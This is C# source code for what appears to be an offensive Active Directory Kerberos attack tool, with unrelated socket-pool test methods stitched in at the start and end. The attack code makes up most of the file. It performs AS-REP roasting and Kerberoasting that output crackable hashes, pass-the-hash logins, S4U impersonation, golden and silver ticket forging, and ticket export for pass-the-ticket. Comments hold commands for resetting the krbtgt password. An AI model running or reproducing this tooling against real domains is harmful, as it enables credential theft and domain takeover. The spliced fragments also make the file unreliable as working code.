public async Task Request_WithScavenge()
{
var port = NextPort();
var listener = new TcpListener(IPAddress.Loopback, port);
try
{
listener.Start();
using (var pool = TcpKerberosTransport.CreateSocketPool())
{
for (var i = 0; i < pool.MaxPoolSize + 1; i++)
{
var req = await pool.Request(new DnsRecord { Target = "127.0.0.1", Port = port }, TimeSpan.FromMilliseconds(500));
req.Dispose();
}
}
}
finally
{
listener.Stop();
}
}
public void DisposeSocketPool()
{
using (var pool = TcpKerberosTransport.CreateSocketPool())
{
Assert.IsNotNull(pool);
}
}
//TODO...
//askTGS with TGT kirbi
public static async System.Threading.Tasks.Task <TicketFlags> askTGS2(string kdc,
ILoggerFactory logger,
TcpKerberosTransport transport,
KrbAsRep asRep,
string username,
string password,
string domainName,
string spn,
bool isUnconstrained = false,
bool outKirbi = false,
bool verbose = false,
bool kerberoast = false,
bool ptt = false,
string hash = null,
EncryptionType etype = EncryptionType.RC4_HMAC_NT,
bool outfile = false,
string srvName = null,
string tgsHash = null,
EncryptionType tgsEtype = EncryptionType.AES256_CTS_HMAC_SHA1_96
)
{
var now = DateTime.Now;
credKey = password != null ?
new KerberosPasswordCredential(username, password, domainName).CreateKey() :
new Utils.KerberosHashCreds(username, hash, etype, domainName).CreateKey();
KrbEncAsRepPart asDecrypted = cred.DecryptKdcRep(
asRep,
KeyUsage.EncAsRepPart,
d => KrbEncAsRepPart.DecodeApplication(d));
var sessionKey = asDecrypted.Key;
//Request Service Ticket parameters
ApOptions apOptions = ApOptions.Reserved;
KdcOptions kdcOptions =
KdcOptions.Forwardable |
KdcOptions.Renewable |
KdcOptions.RenewableOk |
KdcOptions.Canonicalize;
string s4u = null;
KrbTicket s4uTicket = null;
KrbTicket u2uServerTicket = null;
if (isUnconstrained)
{
spn = $"krbtgt/{domainName}";
kdcOptions |= KdcOptions.Forwarded;
}
var rst = new RequestServiceTicket()
{
ServicePrincipalName = spn,
ApOptions = apOptions,
S4uTarget = s4u,
S4uTicket = s4uTicket,
UserToUserTicket = u2uServerTicket,
KdcOptions = kdcOptions,
Realm = domainName
};
var sname = rst.ServicePrincipalName.Split('/', '@');
var tgt = asRep.Ticket;
var additionalTickets = new List <KrbTicket>();
if (rst.KdcOptions.HasFlag(KdcOptions.EncTktInSkey) && rst.UserToUserTicket != null)
{
additionalTickets.Add(rst.UserToUserTicket);
}
if (!string.IsNullOrWhiteSpace(rst.S4uTarget))
{
rst.KdcOptions |= KdcOptions.Forwardable;
}
if (rst.S4uTicket != null)
{
rst.KdcOptions |= KdcOptions.ConstrainedDelegation;
additionalTickets.Add(rst.S4uTicket);
}
var body = new KrbKdcReqBody
{
//Specify RC4 as the only supported EType
EType = new[] { EncryptionType.RC4_HMAC_NT },//KrbConstants.KerberosConstants.ETypes.ToArray(),
KdcOptions = rst.KdcOptions,
Nonce = KrbConstants.KerberosConstants.GetNonce(),
Realm = rst.Realm,
SName = new KrbPrincipalName()
{
Type = PrincipalNameType.NT_SRV_INST,
Name = sname
},
Till = KrbConstants.KerberosConstants.EndOfTime,
CName = rst.CNameHint
};
if (additionalTickets.Count > 0)
{
body.AdditionalTickets = additionalTickets.ToArray();
}
var bodyChecksum = KrbChecksum.Create(
body.Encode(),
sessionKey.AsKey(),
KeyUsage.PaTgsReqChecksum
);
//ApReq
//Authenticator
var authenticator = new KrbAuthenticator
{
CName = asRep.CName,
Realm = asRep.Ticket.Realm,
SequenceNumber = KrbConstants.KerberosConstants.GetNonce(),
Checksum = bodyChecksum,
CTime = now,
CuSec = now.Millisecond //new Random().Next(0, 999999)
};
var subSessionKey = KrbEncryptionKey.Generate(sessionKey.EType);
subSessionKey.Usage = KeyUsage.EncTgsRepPartSubSessionKey;
authenticator.Subkey = subSessionKey;
var encryptedAuthenticator = KrbEncryptedData.Encrypt(
authenticator.EncodeApplication(),
sessionKey.AsKey(),
KeyUsage.PaTgsReqAuthenticator
);
var apReq = new KrbApReq
{
Ticket = tgt,
ApOptions = apOptions,
Authenticator = encryptedAuthenticator
};
var pacOptions = new KrbPaPacOptions
{
Flags = PacOptions.BranchAware
}.Encode();
var paData = new List <KrbPaData>()
{
new KrbPaData
{
Type = PaDataType.PA_TGS_REQ,
Value = apReq.EncodeApplication()
},
new KrbPaData
{
Type = PaDataType.PA_PAC_OPTIONS,
Value = pacOptions
}
};
if (!string.IsNullOrWhiteSpace(rst.S4uTarget))
{
var paS4u = new KrbPaForUser
{
AuthPackage = "Kerberos",
UserName = new KrbPrincipalName {
Type = PrincipalNameType.NT_ENTERPRISE, Name = new[] { s4u }
},
UserRealm = tgt.Realm
};
paS4u.GenerateChecksum(subSessionKey.AsKey());
paData.Add(new KrbPaData
{
Type = PaDataType.PA_FOR_USER,
Value = paS4u.Encode()
});
}
var tgs = new KrbTgsReq
{
PaData = paData.ToArray(),
Body = body
};
ReadOnlyMemory <byte> encodedTgs = tgs.EncodeApplication();
Console.WriteLine("[*] Sending TGS-REQ ...");
if (verbose)
{
PrintFunc.PrintReq(tgs, credKey, sessionKey.AsKey());
}
CancellationToken cancellation = default;
cancellation.ThrowIfCancellationRequested();
KrbTgsRep tgsRep = null;
try
{
tgsRep = await transport.SendMessage <KrbTgsRep>(
rst.Realm,
encodedTgs,
cancellation
);
}
catch (KerberosProtocolException pex)
{
Console.WriteLine("[x] Kerberos Error: {0}\n", pex.Message);
Environment.Exit(0);
}
Console.WriteLine("[*] Receiving TGS-REP ...");
if (verbose)
{
PrintFunc.PrintRep(tgsRep, credKey);
}
var returnFlag = TicketFlags.Anonymous;
try
{
//TGS-REP Enc-Part
//https://github.com/dotnet/Kerberos.NET/blob/develop/Kerberos.NET/Entities/Krb/KrbTgsReq.cs#L144
KrbEncTgsRepPart tgsDecryptedRepPart = tgsRep.EncPart.Decrypt <KrbEncTgsRepPart>(
subSessionKey.AsKey(),
KeyUsage.EncTgsRepPartSubSessionKey,
(ReadOnlyMemory <byte> t) => KrbEncTgsRepPart.DecodeApplication(t));
if (verbose)
{
Console.WriteLine(" * [Decrypted Enc-Part]:");
PrintFunc.PrintRepEnc(tgsDecryptedRepPart, credKey);
returnFlag = tgsDecryptedRepPart.Flags;
if (!string.IsNullOrEmpty(tgsHash))
{
//=========================================
//TGS Tiket Enc-Part
//Service account Cred
var kerbCred2 = new Utils.KerberosHashCreds(srvName, tgsHash, tgsEtype);
//TGS-REQ Ticket Enc-Part
KrbEncTicketPart ticketDecrypted = tgsRep.Ticket.EncryptedPart.Decrypt <KrbEncTicketPart>
(kerbCred2.CreateKey(),
KeyUsage.Ticket,
(ReadOnlyMemory <byte> t) => KrbEncTicketPart.DecodeApplication(t));
Console.WriteLine(" * [Decrypted Ticket Enc-Part]:");
PrintFunc.PrintTicketEnc(ticketDecrypted);
//=========================================
}
}
if (outKirbi || outfile)
{
var kirbiTGS = Kirbi.toKirbi(tgsRep, tgsDecryptedRepPart, ptt);
if (outKirbi)
{
Console.WriteLine("[+] TGS Kirbi:");
Console.WriteLine(" - {0}", Convert.ToBase64String(kirbiTGS));
}
if (outfile)
{
Utils.Utils.WriteBytesToFile(Utils.Utils.MakeTicketFileName(username, sname), kirbiTGS);
}
}
}
catch (Exception e)
{
Console.WriteLine("[x] {0}", e.Message);
}
if (kerberoast)
{
//Kerberoasting
var encType = (int)Enum.Parse(typeof(EncryptionType), tgsRep.Ticket.EncryptedPart.EType.ToString());
var myCipher = (BitConverter.ToString(tgsRep.Ticket.EncryptedPart.Cipher.ToArray())).Replace("-", "");
var kroasthash = String.Format("$krb5tgs${0}$*{1}${2}${3}*${4}${5}", encType, username, domainName, spn, myCipher.Substring(0, 32), myCipher.Substring(32));
Console.WriteLine("[+] Kerberoasting Hash: {0}", kroasthash);
}
return(returnFlag);
}
//askTGT
public static async System.Threading.Tasks.Task <KrbAsRep> askTGT(string kdc,
ILoggerFactory logger,
TcpKerberosTransport transport,
string username,
string password,
string domainName,
bool outKirbi = false,
bool verbose = false,
string format = "hashcat",
bool asreproast = false,
bool ptt = false,
string hash = null,
EncryptionType etype = EncryptionType.RC4_HMAC_NT,
bool outfile = false,
string tgtHash = null,
EncryptionType tgtEtype = EncryptionType.AES256_CTS_HMAC_SHA1_96
)
{
var now = DateTime.Now;
Console.WriteLine("[*] Starting Kerberos Authentication ...");
if (password != null)
{
cred = new KerberosPasswordCredential(username, password, domainName);
}
else
{
cred = new Utils.KerberosHashCreds(username, hash, etype, domainName);
}
credKey = cred.CreateKey();
//Pre-Auth
KrbAsReq asReqMessage = null;
KrbAsRep asRep = null;
bool notPreauth = true;
AuthenticationOptions authOptions =
AuthenticationOptions.IncludePacRequest |
AuthenticationOptions.RenewableOk |
AuthenticationOptions.Canonicalize |
AuthenticationOptions.Renewable |
AuthenticationOptions.Forwardable;
int authAttempt = 0;
while (notPreauth)
{
authAttempt += 1;
try
{
Console.WriteLine("[*] Sending AS-REQ ...");
var kdcOptions = (KdcOptions)(authOptions & ~AuthenticationOptions.AllAuthentication);
var hostAddress = Environment.MachineName;
var pacRequest = new KrbPaPacRequest
{
IncludePac = authOptions.HasFlag(AuthenticationOptions.IncludePacRequest)
};
var padata = new List <KrbPaData>()
{
new KrbPaData
{
Type = PaDataType.PA_PAC_REQUEST,
Value = pacRequest.Encode()
}
};
asReqMessage = new KrbAsReq()
{
Body = new KrbKdcReqBody
{
Addresses = new[]
{
new KrbHostAddress
{
AddressType = AddressType.NetBios,
Address = Encoding.ASCII.GetBytes(hostAddress.PadRight(16, ' '))
}
},
CName = new KrbPrincipalName()
{
Type = PrincipalNameType.NT_PRINCIPAL,
Name = new[] { username }// + "@" + domainName.ToUpper() }
},
//KrbPrincipalName.FromString(
// username,
// PrincipalNameType.NT_ENTERPRISE,
// domainName
//),
EType = KrbConstants.KerberosConstants.ETypes.ToArray(),//kdcReqEtype,
KdcOptions = kdcOptions,
Nonce = KrbConstants.KerberosConstants.GetNonce(),
RTime = KrbConstants.KerberosConstants.EndOfTime,
Realm = credKey.PrincipalName.Realm,
SName = new KrbPrincipalName
{
Type = PrincipalNameType.NT_SRV_INST,
Name = new[] { "krbtgt", credKey.PrincipalName.Realm }
},
Till = KrbConstants.KerberosConstants.EndOfTime
},
PaData = padata.ToArray()
};
if (authOptions.HasFlag(AuthenticationOptions.PreAuthenticate))
{
var ts = new KrbPaEncTsEnc()
{
PaTimestamp = now,
PaUSec = now.Millisecond,
};
var tsEncoded = ts.Encode();
var padataAs = asReqMessage.PaData.ToList();
KrbEncryptedData encData = KrbEncryptedData.Encrypt(
tsEncoded,
credKey,
KeyUsage.PaEncTs
);
padataAs.Add(new KrbPaData
{
Type = PaDataType.PA_ENC_TIMESTAMP,
Value = encData.Encode()
});
asReqMessage.PaData = padataAs.ToArray();
}
//AS-Req Part
if (verbose)
{
PrintFunc.PrintReq(asReqMessage, credKey);
}
var asReq = asReqMessage.EncodeApplication();
asRep = await transport.SendMessage <KrbAsRep>(
domainName,
asReq,
default(CancellationToken));
}
catch (KerberosProtocolException pex)
{
Console.WriteLine("[x] Kerberos Error: {0}", pex.Message);
if (pex?.Error?.ErrorCode == KerberosErrorCode.KDC_ERR_PREAUTH_REQUIRED)
{
if (asreproast)
{
Console.WriteLine("[x] Sorry the provided user requires PreAuth.\n");
Environment.Exit(0);
}
else
{
//Salt issue for RID 500 Built-in admin account
//https://github.com/dotnet/Kerberos.NET/issues/164
if (password != null)
{
cred = new KerberosPasswordCredential(username, password, domainName);
}
else
{
cred = new Utils.KerberosHashCreds(username, hash, etype, domainName);
}
cred.IncludePreAuthenticationHints(pex?.Error?.DecodePreAuthentication());
credKey = cred.CreateKey();
authOptions |= AuthenticationOptions.PreAuthenticate;
Console.WriteLine("[*] Adding encrypted timestamp ...");
}
}
else if (pex?.Error?.ErrorCode == KerberosErrorCode.KDC_ERR_PREAUTH_FAILED)
{
Console.WriteLine("[x] Invalid Credential! Authentication Stopped ...\n");
Environment.Exit(0);
}
else
{
Console.WriteLine("[x] Authentication Stopped ...\n");
Environment.Exit(0);
}
}
if (authAttempt == 2 || asreproast)
{
notPreauth = false;
}
}
Console.WriteLine("[*] Receiving AS-REP...");
if (asreproast)
{
//Asreproasting
string repHash = BitConverter.ToString(asRep.EncPart.Cipher.ToArray()).Replace("-", string.Empty);
repHash = repHash.Insert(32, "$");
string hashString = "";
if (format == "john")
{
hashString = String.Format("$krb5asrep${0}@{1}:{2}", username, domainName, repHash);
Console.WriteLine("[+] ASREPRoasting Hash: {0}", hashString);
}
else
{
hashString = String.Format("$krb5asrep$23${0}@{1}:{2}", username, domainName, repHash);
Console.WriteLine("[+] ASREPRoasting Hash: {0}", hashString);
}
}
else
{
try
{
KrbEncAsRepPart asDecryptedRepPart = cred.DecryptKdcRep(
asRep,
KeyUsage.EncAsRepPart,
d => KrbEncAsRepPart.DecodeApplication(d));
if (verbose)
{
//AS-Rep Part
PrintFunc.PrintRep(asRep, credKey);
if (authOptions.HasFlag(AuthenticationOptions.PreAuthenticate))
{
Console.WriteLine(" * [Decrypted Enc-Part]:");
PrintFunc.PrintRepEnc(asDecryptedRepPart, credKey);
////////////////////////////////////////decrypt TGT
//// net stop ntds
//// $key =Get-BootKey -Online
//// $cred = ConvertTo-SecureString -String "krbtgt" -AsPlainText -Force
//// Set-ADDBAccountPassword -SamAccountName krbtgt -NewPassword $cred -DatabasePath C:\Windows\NTDS\ntds.dit -BootKey $key
//// net start ntds
////KeyTable keytab = new KeyTable(System.IO.File.ReadAllBytes("C:\\Users\\Public\\krbtgt.keytab"));
////var krbtgtkey = keytab.GetKey(EncryptionType.AES256_CTS_HMAC_SHA1_96, asRep.Ticket.SName);
///
if (!string.IsNullOrEmpty(tgtHash))
{
var krbtgtCred = new Utils.KerberosHashCreds("krbtgt", tgtHash, tgtEtype);
//TGS - REQ Ticket Enc-Part
var ticketDecrypted = asRep.Ticket.EncryptedPart.Decrypt
(krbtgtCred.CreateKey(),
KeyUsage.Ticket,
b => KrbEncTicketPart.DecodeApplication(b));
Console.WriteLine(" * [Decrypted TGT]:");
PrintFunc.PrintTicketEnc(ticketDecrypted);
//Encrypt the ticket again
asRep.Ticket.EncryptedPart = KrbEncryptedData.Encrypt(ticketDecrypted.EncodeApplication(),
krbtgtCred.CreateKey(), KeyUsage.Ticket);
}
//////////////////////////////////////TGT
}
}
if (outKirbi || outfile)
{
var kirbiTGT = Kirbi.toKirbi(asRep, asDecryptedRepPart, ptt);
if (outKirbi)
{
Console.WriteLine("[+] TGT Kirbi:");
Console.WriteLine(" - {0}", Convert.ToBase64String(kirbiTGT));
}
if (outfile)
{
Utils.Utils.WriteBytesToFile(Utils.Utils.MakeTicketFileName(username), kirbiTGT);
}
}
}
catch (Exception e)
{
Console.WriteLine("[x] {0}. Unable to decrypt the ticket, provided credential is invalid. (Check the ticket etype if you want to decrypt it)\n", e.Message);
//Environment.Exit(0);
}
}
return((KrbAsRep)asRep);
}
//S4U2Proxy
//[MS-SFU] 3.2.5.2.1.2 Using ServicesAllowedToSendForwardedTicketsTo
//The KDC checks if the security principal name(SPN) for Service 2,
//identified in the sname and srealm fields of the KRB_TGS_REQ message,
//is in the Service 1 account's ServicesAllowedToSendForwardedTicketsTo parameter.
//If it is, then the KDC replies with a service ticket for Service 2.
//Otherwise the KDC MUST return `KRB-ERR-BADOPTION`.
public static async System.Threading.Tasks.Task S4U2Proxy(string kdc,
ILoggerFactory logger,
TcpKerberosTransport transport,
KrbAsRep asRep,
KrbTgsRep s4u2self,
string username,
string password,
string domainName,
string impersonateuser,
string spn,
bool outKirbi = false,
bool verbose = false,
bool ptt = false,
string hash = null,
EncryptionType etype = EncryptionType.RC4_HMAC_NT)
{
var now = DateTime.UtcNow;
credKey = password != null ?
new KerberosPasswordCredential(username, password, domainName).CreateKey() :
new Utils.KerberosHashCreds(username, hash, etype, domainName).CreateKey();
KrbEncAsRepPart asDecrypted = password != null ?
new KerberosPasswordCredential(username, password, domainName).DecryptKdcRep(
asRep,
KeyUsage.EncAsRepPart,
d => KrbEncAsRepPart.DecodeApplication(d)) :
new Utils.KerberosHashCreds(username, hash, etype, domainName).DecryptKdcRep(
asRep,
KeyUsage.EncAsRepPart,
d => KrbEncAsRepPart.DecodeApplication(d));
var sessionKey = asDecrypted.Key;
//Request Service Ticket parameters
ApOptions apOptions = ApOptions.Reserved;
KdcOptions kdcOptions =
KdcOptions.Forwardable |
KdcOptions.Renewable |
KdcOptions.RenewableOk;
string s4u = null;
KrbTicket s4uTicket = s4u2self.Ticket;
KrbTicket u2uServerTicket = null;
var rst = new RequestServiceTicket()
{
ServicePrincipalName = spn,
ApOptions = apOptions,
S4uTarget = s4u,
S4uTicket = s4uTicket,
UserToUserTicket = u2uServerTicket,
KdcOptions = kdcOptions,
Realm = domainName
};
var sname = rst.ServicePrincipalName.Split('/', '@');
var tgt = asRep.Ticket;
var additionalTickets = new List <KrbTicket>();
if (rst.KdcOptions.HasFlag(KdcOptions.EncTktInSkey) && rst.UserToUserTicket != null)
{
additionalTickets.Add(rst.UserToUserTicket);
}
if (!string.IsNullOrWhiteSpace(rst.S4uTarget))
{
rst.KdcOptions |= KdcOptions.Forwardable;
}
if (rst.S4uTicket != null)
{
rst.KdcOptions = rst.KdcOptions | KdcOptions.ConstrainedDelegation | KdcOptions.CNameInAdditionalTicket;
additionalTickets.Add(rst.S4uTicket);
}
//EncryptionType[] kdcReqEtype = { EncryptionType.RC4_HMAC_NT };
string[] name = { };
var body = new KrbKdcReqBody
{
EType = KrbConstants.KerberosConstants.ETypes.ToArray(),
KdcOptions = rst.KdcOptions,
Nonce = KrbConstants.KerberosConstants.GetNonce(),
Realm = rst.Realm,
SName = new KrbPrincipalName()
{
Type = PrincipalNameType.NT_SRV_INST,
Name = sname
},
Till = KrbConstants.KerberosConstants.EndOfTime,
CName = new KrbPrincipalName()
{
Type = PrincipalNameType.NT_SRV_INST,
Name = name
},
};
if (additionalTickets.Count > 0)
{
body.AdditionalTickets = additionalTickets.ToArray();
}
var bodyChecksum = KrbChecksum.Create(
body.Encode(),
sessionKey.AsKey(),
KeyUsage.PaTgsReqChecksum
);
//ApReq
//Authenticator
var authenticator = new KrbAuthenticator
{
CName = asRep.CName,
Realm = asRep.Ticket.Realm,
SequenceNumber = KrbConstants.KerberosConstants.GetNonce(),
Checksum = bodyChecksum,
CTime = now,
CuSec = now.Millisecond //new Random().Next(0, 999999)
};
var subSessionKey = KrbEncryptionKey.Generate(sessionKey.EType);
subSessionKey.Usage = KeyUsage.EncTgsRepPartSubSessionKey;
authenticator.Subkey = subSessionKey;
var encryptedAuthenticator = KrbEncryptedData.Encrypt(
authenticator.EncodeApplication(),
sessionKey.AsKey(),
KeyUsage.PaTgsReqAuthenticator
);
var apReq = new KrbApReq
{
Ticket = tgt,
ApOptions = apOptions,
Authenticator = encryptedAuthenticator
};
var pacOptions = new KrbPaPacOptions
{
Flags = PacOptions.ResourceBasedConstrainedDelegation
}.Encode();
var paData = new List <KrbPaData>()
{
new KrbPaData
{
Type = PaDataType.PA_TGS_REQ,
Value = apReq.EncodeApplication()
},
new KrbPaData
{
Type = PaDataType.PA_PAC_OPTIONS,
Value = pacOptions
}
};
if (!string.IsNullOrWhiteSpace(rst.S4uTarget))
{
var paS4u = new KrbPaForUser
{
AuthPackage = "Kerberos",
UserName = new KrbPrincipalName {
Type = PrincipalNameType.NT_ENTERPRISE, Name = new[] { s4u }
},
UserRealm = tgt.Realm
};
paS4u.GenerateChecksum(subSessionKey.AsKey());
paData.Add(new KrbPaData
{
Type = PaDataType.PA_FOR_USER,
Value = paS4u.Encode()
});
}
var tgs = new KrbTgsReq
{
PaData = paData.ToArray(),
Body = body
};
ReadOnlyMemory <byte> encodedTgs = tgs.EncodeApplication();
Console.WriteLine("[*] Sending TGS-REQ [S4U2Proxy] ...");
if (verbose)
{
PrintFunc.PrintReq(tgs, credKey, sessionKey.AsKey());
}
CancellationToken cancellation = default;
cancellation.ThrowIfCancellationRequested();
KrbTgsRep tgsRep = null;
try
{
tgsRep = await transport.SendMessage <KrbTgsRep>(
rst.Realm,
encodedTgs,
cancellation
);
}
catch (KerberosProtocolException pex)
{
Console.WriteLine("[x] Kerberos Error: {0}", pex.Message);
Environment.Exit(0);
}
Console.WriteLine("[*] Receiving TGS-REP [S4U2Proxy] ...");
try
{
KrbEncTgsRepPart tgsDecryptedRepPart = tgsRep.EncPart.Decrypt <KrbEncTgsRepPart>(
subSessionKey.AsKey(),
KeyUsage.EncTgsRepPartSubSessionKey,
(ReadOnlyMemory <byte> t) => KrbEncTgsRepPart.DecodeApplication(t));
if (verbose)
{
PrintFunc.PrintRep(tgsRep, credKey);
Console.WriteLine(" * [Decrypted Enc-Part]:");
PrintFunc.PrintRepEnc(tgsDecryptedRepPart, credKey);
}
if (outKirbi)
{
var kirbiTGS = Kirbi.toKirbi(tgsRep, tgsDecryptedRepPart, ptt);
Console.WriteLine("[+] TGS Kirbi:");
Console.WriteLine(" - {0}", Convert.ToBase64String(kirbiTGS));
}
}catch (Exception e)
{
Console.WriteLine("[x] {0}", e.Message);
}
}
public static async Task ResolveCmd(Options options)
{
var transport = new TcpKerberosTransport(logger);
if (options.User != null)
{
username = options.User.ToLower();
}
if (options.Ticket != null)
{
PTT(options.Ticket);
}
if ((options.RC4 ?? options.AES128 ?? options.AES256) != null)
{
hash = options.RC4 ?? options.AES128 ?? options.AES256;
if (options.AES128 != null)
{
etype = EncryptionType.AES128_CTS_HMAC_SHA1_96;
}
else if (options.AES256 != null)
{
etype = EncryptionType.AES256_CTS_HMAC_SHA1_96;
}
}
if (options.Golden != options.Sliver)
{
if (options.Domain == null)
{
Console.WriteLine("[x] Please provide the target domain name.");
Environment.Exit(0);
}
//Build Ticket
if (options.Sliver)
{
//var sliverTicket =
BuildTicket.BuildSliver(options.Host, hash, etype, username, options.Domain, options.Service, options.DomainSID,
options.PTT, options.Verbose);
}
else
{
//var goldenTicket =
BuildTicket.BuildGolden(hash, etype, username, options.Domain, options.UserID, options.DomainSID,
options.PTT, options.Verbose);
}
Environment.Exit(0);
}
//Domain
if (options.Domain != null)
{
try
{
var context = new DirectoryContext(DirectoryContextType.Domain, options.Domain);
domainname = Domain.GetDomain(context).Name;
}
catch (Exception e) { Console.WriteLine(e.Message); Environment.Exit(0); }
}
else
{
try { domainname = Domain.GetCurrentDomain().Name; }
catch (Exception e) { Console.WriteLine("[*] {0}", e.Message); Environment.Exit(0); }
}
if (options.DecryptTGT != null || options.DecryptTGS != null)
{
if (options.DecryptEtype == null)
{
Console.WriteLine("[x] Please provide the encrytion type of the Hash (rc4/aes128/aes256)");
Console.WriteLine();
Environment.Exit(0);
}
switch (options.DecryptEtype.Trim().ToLower())
{
case "rc4":
dEtype = EncryptionType.RC4_HMAC_NT;
break;
case "aes128":
dEtype = EncryptionType.AES128_CTS_HMAC_SHA1_96;
break;
default:
dEtype = EncryptionType.AES256_CTS_HMAC_SHA1_96;
break;
}
if (options.DecryptTGT != null)
{
tgtHash = options.DecryptTGT;
}
else if (options.DecryptTGS != null)
{
if (string.IsNullOrEmpty(options.SrvName))
{
Console.WriteLine("[x] Please provide the service account name for decrypting TGS.");
Environment.Exit(0);
}
tgsHash = options.DecryptTGS;
}
}
if (!string.IsNullOrEmpty(username))
{
////////////////////////////////////////////////////////////
//ASREPRoasting
if (options.Asreproast)
{
bool asreproast = true;
if (options.Format.ToLower() == "john" || options.Format.ToLower() == "hashcat")
{
await Ask.askTGT(kdc, logger, transport, username, "whatever", domainname,
outKirbi, options.Verbose, options.Format.ToLower(), asreproast, options.PTT, hash, etype, options.Outfile,
tgtHash, dEtype);
Console.WriteLine("[+] Done! Now enjoy your hash.");
}
else
{
Console.WriteLine("[x] Unknown hash format, Please use hashcat or john");
}
}
else
{
if (options.Pass == null && options.RC4 == null && options.AES128 == null && options.AES256 == null)
{
Console.WriteLine("[x] Please provide a valid password/hash");
Environment.Exit(1);
}
else
{
////////////////////////////////////////////////////////////
//Ask TGT
if (options.AskTGT)
{
await Ask.askTGT(kdc, logger, transport, username, options.Pass, domainname,
outKirbi, options.Verbose, options.Format.ToLower(), false, options.PTT, hash, etype, options.Outfile,
tgtHash, dEtype);
}
////////////////////////////////////////////////////////////
//Ask TGS
else if (options.AskTGS)
{
if (options.Spn != null)
{
asRep = await Ask.askTGT(kdc, logger, transport, username, options.Pass, domainname,
outKirbi, options.Verbose, options.Format.ToLower(), false, options.PTT, hash, etype, options.Outfile,
tgtHash, dEtype);
await Ask.askTGS(kdc, logger, transport, asRep, username, options.Pass, domainname,
options.Spn, isUncontrainedDeleg, outKirbi, options.Verbose, false, options.PTT, hash, etype,
options.Outfile, options.SrvName, tgsHash, dEtype);
}
else
{
Console.WriteLine("[x] Please provide an SPN for the service request.");
}
}
////////////////////////////////////////////////////////////
//Kerberoasting
else if (options.Kerberoast)
{
bool kerberoast = true;
if (options.Spn != null)
{
asRep = await Ask.askTGT(kdc, logger, transport, username, options.Pass, domainname,
outKirbi, options.Verbose, options.Format.ToLower(), false, options.PTT, hash, etype, options.Outfile,
tgtHash, dEtype);
await Ask.askTGS(kdc, logger, transport, asRep, username, options.Pass, domainname,
options.Spn, isUncontrainedDeleg, outKirbi, options.Verbose, kerberoast, options.PTT, hash, etype,
options.Outfile, options.SrvName, tgsHash, dEtype);
Console.WriteLine("[+] Done! Now enjoy your hash.");
}
else
{
Console.WriteLine("[x] Please provide an SPN for Kerberoasting");
}
}
////////////////////////////////////////////////////////////
//S4U
else if (options.S4U)
{
if (options.Impersonate != null && options.Spn != null)
{
asRep = await Ask.askTGT(kdc, logger, transport, username, options.Pass, domainname,
outKirbi, options.Verbose, options.Format, options.Asreproast, options.PTT, hash, etype, options.Outfile,
tgtHash, dEtype);
var s4u2self = await S4U.S4U2Self(kdc, logger, transport, asRep, username, options.Pass, domainname,
options.Impersonate, outKirbi, options.Verbose, options.PTT, hash, etype);
await S4U.S4U2Proxy(kdc, logger, transport, asRep, s4u2self, username, options.Pass, domainname,
options.Impersonate, options.Spn, outKirbi, options.Verbose, options.PTT, hash, etype);
Console.WriteLine("[+] Done! Now enjoy your ticket for {0}.", options.Spn);
}
else
{
Console.WriteLine("[x] Please provide an SPN and a username to impersonate");
}
}
////////////////////////////////////////////////////////////
//S4U2Self
else if (options.S4U2Self)
{
if (options.Impersonate != null)
{
string impersonate = options.Impersonate + "@" + domainname;
asRep = await Ask.askTGT(kdc, logger, transport, username, options.Pass, domainname,
outKirbi, options.Verbose, options.Format, options.Asreproast, options.PTT, hash, etype, options.Outfile,
tgtHash, dEtype);
await S4U.S4U2Self(kdc, logger, transport, asRep, username, options.Pass, domainname,
impersonate, outKirbi, options.Verbose, options.PTT, hash, etype);
Console.WriteLine("[+] Done! Now enjoy your ticket.");
}
else
{
Console.WriteLine("[x] Please provide a username to impersonate");
}
}
}
}
}
//var flags = await Ask.askTGS(kdc, logger, transport, asRep, username, password, domainName, spn, isUncontrainedDeleg, outKirbi);
////IF the target service has Unconstrained Delegation
//if (flags.HasFlag(TicketFlags.OkAsDelegate))
//{
// Console.WriteLine("\n[*] Target Server is Trusted For Delegation, asking Forwarded TGT...");
// await Ask.askTGS(kdc, logger, transport, asRep, username, password, domainName, spn, isUncontrainedDeleg, outKirbi);
//}
}
public void CreateSocketPool()
{
var pool = TcpKerberosTransport.CreateSocketPool();
Assert.IsNotNull(pool);
}
